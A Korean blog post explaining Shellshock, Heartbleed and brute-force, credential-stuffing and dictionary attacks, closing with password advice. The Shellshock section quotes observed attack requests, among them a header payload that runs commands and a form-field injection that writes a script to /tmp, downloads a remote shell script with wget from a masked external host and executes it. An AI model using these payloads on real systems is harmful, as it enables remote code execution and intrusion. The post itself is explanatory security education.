Shell Shock, heartbleed 해킹 공격 기법 – 3편

Shell shock 취약점 공격 (Bash 환경 변수 명령 주입 취약점) CVE-2014-6278

 

리눅스 OS Bash shell 함수를 처리하는 과정의 버그를 이용한 해킹 공격입니다. 시스템에 GNU Bash가 설치되어있다고 해서 무조건 공격에 영향을 받는 것은 아니며 환경변수를 통해 Bash를 호출할 수 있는 프로그램 이나, 스크립트가 시스템 내에 존재할 경우 취약점에 영향을 받는 특성을 가지고 있습니다. 취약점이 존재 한다면 어떤 코드이든 실행 할 수 있게 됩니다. 예를 들자면 root 권한도 탈취할수 있습니다.

실제 공격 형태 예시

 

http://10.254.x15.x2:80/tmUnblock.cgi

http://8.xx.8x.x0/cgi-sys/entropysearch.cgi

requestClientApplication:() { ; OpenVAS-VT; } >[$($())] { echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; id;}

공격자 요청 헤더 정보입니다.

실행코드 예시:

submit_button=&change_action=&action=&commit=&xtcp_num=2&xtcp_size=2&xtcp_ip=-h cd /tmp;echo “#!/bin/sh” > excode1.sh;echo “wget -O excode2.sh hxxp://1xx.2x.1xx.x6/ferry/rev12.sh” >> excode1.sh;echo “chmod +x excode2.sh” >> excode1.sh;echo “./excode2.sh” >> excode1.sh;chmod +x excode1.sh;./excode1.sh&StartEPI=1

 

heartbleed 하트블리트 취약점

 

OpenSSL 암호화 라이브러리의 하트비트(Heartbeat)라는 확장 모듈에서 클라이언트 요청 메시지를 처리할 때 데이터 길이 검증을 수행하지 않아 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있는 취약점. 하트비트란 클라이언트와 서버 간의 연결 상태 체크를 위한 OpenSSL 확장 모듈 입니다.

피해 범위는 메모리 정보 획득이 가능하기 때문에 https 서버 메모리에 있는 “웹 사용자 정보”가 노출될 수도 있으며 “사용자 세션을 하이재킹” 할수도 있다. (특정 OpenSSL 버전에만 해당됩니다)

 

Brute force 공격 (무차별 대입 공격)

 

모든 암호(패스워드)조합을 무차별 대입 시도하는 다소 기초적인 방식의 해킹 공격. 예를들자면 admin 1111 qwer1234 등과 같은 단순한 패스워드를 무차별로 대입하여 로그인 정보를 탈취하는것입니다. 여기서 중요한점은 이와 같은 단순 암호를 사용할 경우 큰 어려움 없이 금방 계정 정보를 알아낼수 있다는것입니다. 가급적이면 여러 웹사이트에 암호는 모두 다르게 사용하는것이 바람직합니다.

 

하지만 단순한 암호는 충분한 시간만 주어진다면 모두 대입이 가능하고, 특정 단어나 패턴이 유추 가능할 경우엔 더욱 취약해질 수 있습니다.

최근 대두되고 있는 공격 유형으로는 크리덴셜 스터핑이라고하는 즉 XX라는 사이트에서 탈취한 계정 정보를 바탕으로 기타 A,B,C 등 다양한 사이트에 대입해 보는 공격 방식입니다.

 

공격자들은 대입에 소요되는 시간을 줄이기 위해 사전에 있는 단어를 우선 시도하는 이른바 dictionary Attack를 진행하기도 합니다. 예를들어 admin / 1111 같은 단순한 암호를 사용할 경우 사전 대입법을 진행하면 5초도 안되서 탈취 가능합니다. 항상 특수문자 숫자 대소문자를 적절하게 사용하여 10자 이상은 조합하여 사용하시는것이 바람직합니다.

 


게시됨

카테고리

작성자

댓글

답글 남기기